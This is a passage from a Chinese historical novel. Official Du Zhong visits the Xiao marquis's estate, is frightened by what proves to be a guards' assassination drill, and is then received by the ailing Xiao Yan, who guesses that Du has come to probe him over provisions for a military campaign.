李宴方唇角微微勾起,转瞬了无痕迹,就似水中月影,随着涟漪潋滟漾入幽暗。
“只怕要吃些苦头。”
她的下半句话终于落地,杜仲心头骤紧,她果然是有备而来,可人已经得罪,且她好不容易开了口,就是龙潭虎穴他也要闯了!
杜仲眯起眼道:“奉命而来,为国行事,岂有退却之理?”
“大人何必一副英勇就义的模样?只是他要不要见你,我可不能替你做担保,恕不奉陪。”
李宴方轻笑,抬起手示意杜仲前往西院。
*
虽时值午后,热浪翻腾,但杜仲越靠近西院,越能感受到一股凉意。
据说今夏侯府购置不少冰块,引起一些无端的猜测……杜仲边走边想,心里不由得跟着冷了几分。
引路的下人不见踪迹,他独自一人行走于陌生而宏阔的庭院内,日光投射下,阴影将目之所及的景象切割,徒然生出阴森诡异之感。
杜仲心头的畏惧叫他的步伐渐渐迟疑,心想,这趟差事真不该只派自己一人前来。
正是杜仲思索犹豫之际,房檐之上传来响动。
他警觉抬头,几道人影从房上掠下,无声地踏碎檐下阴影,手持地刀刃卷起疾风,在破碎的影子内挑起雪亮一线。
杜仲在极度惊吓之中将“有刺客”三字脱口而出,惊破庭院内的寂静。
那惊喊声分明刺耳,但几道人影只作不闻,落地之后立刻调整队形,呈集结之势,有序地在庭院内开启搜索。
不过转瞬,另一队人马不知从何处现身而出,同样亮出兵刃。
两方人马就此短兵相接,进攻与防守间,利刃切割光影,紧张危险气息弥漫其间。
杜仲两股战战,后退靠墙,寻觅着出逃的安全方向。
可刀剑不长眼,激烈的厮杀像是无法控制的深秋野火,燎烧着干燥的原野,卷起漫天
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黑雾。
火势凶猛,往杜仲这边烧来了!
利器相交的尖锐震音在他的耳畔炸响,他已能清晰地瞧见刀身上经过千锤百炼而留下的纹路,太近了。
“救命,救命啊!有没有人啊!”
极度的惊慌恐惧之下,杜仲沙哑地喊着,焦急,绝望。
打斗之人自他头顶飞掠而过,将他束得整整齐齐的发打落,发冠落地,骨碌碌滚得不知所踪。
他双腿发软,整个人无力委地,连滚带爬地朝不远处的月洞门跑去,试图远离这一场纷争。
紧凑尖锐的钢铁相击声织成捕鱼的网,笼住杜仲这条失魂落魄、慌不择路的大鱼,他无论游得多快,都无法冲破这一张无处不在的密网。
可奔逃的鱼不会大口喘气,只有误入杀阵的杜仲才会气喘吁吁地懊悔为什么接了这趟苦差事,难道自己运气真的差到一定的地步,在探视萧偃时遇刺身亡?
绝望像暴雨下上涨的江水,从心底漫上来,过了胸膛,接近咽喉,灌入口腔,让他逐渐体会到濒死的窒息。
像困在网中的鱼被拉出水面,天光直泻,杜仲深思恍然。
这里是府内的校场,他抬头望去,午后灼目炎热的光投来,不由得眯起双眼。
在杜仲闭目之前,校场模糊的景象己在心头留下印迹。
在校场边阴凉的亭台下,似乎有一张靠椅,其上一人闲适自在地倚靠。
只是人处于背光之处,且此时的光线尤为强烈刺目,他根本无法确定那人面貌。
杜仲阖上双眼的那一瞬间,亭下的萧偃挥挥手,身后的打斗之声瞬间烟消云散,随即响起的是急切密集的步伐,规整,划一。
身后响起紫电的斥责:“今日的刺杀与反制的演练效果不佳。为何见杜大人前来,不曾避让,反倒叫大人受惊!下去领罚!”
“是。”十余人不敢有异,应答而退。
紫电快步上前扶起杜仲,满怀歉意地道:“杜大人可还好?主子自从大猎遇袭,伤情稳定之后一直在训练亲卫,防止重蹈覆辙,只是今日一时不慎,吓到了大人,还望大人见谅。”
惊魂未定的杜仲思绪变得迟钝,毫无质疑地接受了这一番有条有理的解释,心叹只要小命安然无恙,便是幸事一桩。
他抬头望去,安坐的人藏身于亭下阴影中,仍是不见真容。
那人不可抑制地咳嗽几声,吸入肺腑的气成了刺入的针,叫他痛苦万分。
萧侯果然并未痊愈,那一场大猎对他确有打击,杜仲已经探明消息。
“杜大人前来,不曾远迎,是我失礼了,不知杜大人想问什么,容我一猜,是否是已经确定出征,要与我商议粮草之事?”
一场大战,什么时节,如何整调军队,确定那一套战略,粮草辎重要如何准备……每一项都是大事。
大事不会在一夕之间就确定,萧偃深知杜仲是借粮草之事来试探虚实,他可不能让杜仲轻易得逞啊,得把他打发走。
日光仍烈,足以照得腿软不前的杜仲睁不开眼。